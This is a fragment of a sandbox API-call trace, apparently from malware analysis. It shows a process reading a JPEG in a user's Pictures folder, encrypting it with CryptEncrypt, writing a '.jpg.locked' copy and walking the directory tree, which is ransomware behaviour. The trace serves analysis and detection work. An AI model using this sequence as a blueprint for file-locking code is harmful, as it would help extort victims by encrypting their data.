pbData=0x6b08ad4, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84a78) returned 1 [0135.244] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.244] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.244] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.244] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.244] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.245] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg")) returned 0x20 [0135.247] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg")) returned 0x20 [0135.247] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.247] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.247] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.247] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.247] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.247] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.247] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.247] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.247] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.249] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.249] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0135.249] GetFileType (hFile=0x858) returned 0x1 [0135.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.249] GetFileType (hFile=0x858) returned 0x1 [0135.249] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.250] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0135.250] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.250] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.250] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.250] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg.locked", lpFilePart=0x0) returned 0x70 [0135.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.250] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0135.254] GetFileType (hFile=0x874) returned 0x1 [0135.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.254] GetFileType (hFile=0x874) returned 0x1 [0135.254] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.254] CryptGenRandom (in: hProv=0x8e02828, dwLen=0x10, pbBuffer=0x69283d8 | out: pbBuffer=0x69283d8) returned 1 [0135.254] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.254] CryptDuplicateKey (in: hKey=0x8e84a78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84b38) returned 1 [0135.254] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.254] CryptSetKeyParam (hKey=0x8e84b38, dwParam=0x4, pbData=0x6929694*=0x1, dwFlags=0x0) returned 1 [0135.254] CryptSetKeyParam (hKey=0x8e84b38, dwParam=0x1, pbData=0x6929660, dwFlags=0x0) returned 1 [0135.254] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf480\x437\x242") returned 0x0 [0135.255] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.255] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.255] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.255] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.255] ReadFile (in: hFile=0x858, lpBuffer=0x692ccb8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x692ccb8*, lpNumberOfBytesRead=0x99ae7a8*=0x137fb, lpOverlapped=0x0) returned 1 [0135.256] CryptEncrypt (in: hKey=0x8e84b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6940cc4*, pdwDataLen=0x99ae79c*=0x137f0, dwBufLen=0x137f0 | out: pbData=0x6940cc4*, pdwDataLen=0x99ae79c*=0x137f0) returned 1 [0135.256] WriteFile (in: hFile=0x874, lpBuffer=0x6928498*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6928498*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0135.257] WriteFile (in: hFile=0x874, lpBuffer=0x6941cb0*, nNumberOfBytesToWrite=0x12804, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6941cb0*, lpNumberOfBytesWritten=0x99ae780*=0x12804, lpOverlapped=0x0) returned 1 [0135.258] ReadFile (in: hFile=0x858, lpBuffer=0x692ccb8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x692ccb8*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0135.258] CryptEncrypt (in: hKey=0x8e84b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69544d8*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69544d8*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0135.258] CryptEncrypt (in: hKey=0x8e84b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x695450c*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x695450c*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0135.258] WriteFile (in: hFile=0x874, lpBuffer=0x6928498*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6928498*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0135.258] CloseHandle (hObject=0x874) returned 1 [0135.259] CloseHandle (hObject=0x858) returned 1 [0135.260] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.260] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.260] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.260] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.260] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.261] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg")) returned 0x20 [0135.261] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.261] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.261] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.261] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.261] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.261] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.262] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.262] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.262] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.263] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.263] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.263] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.263] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 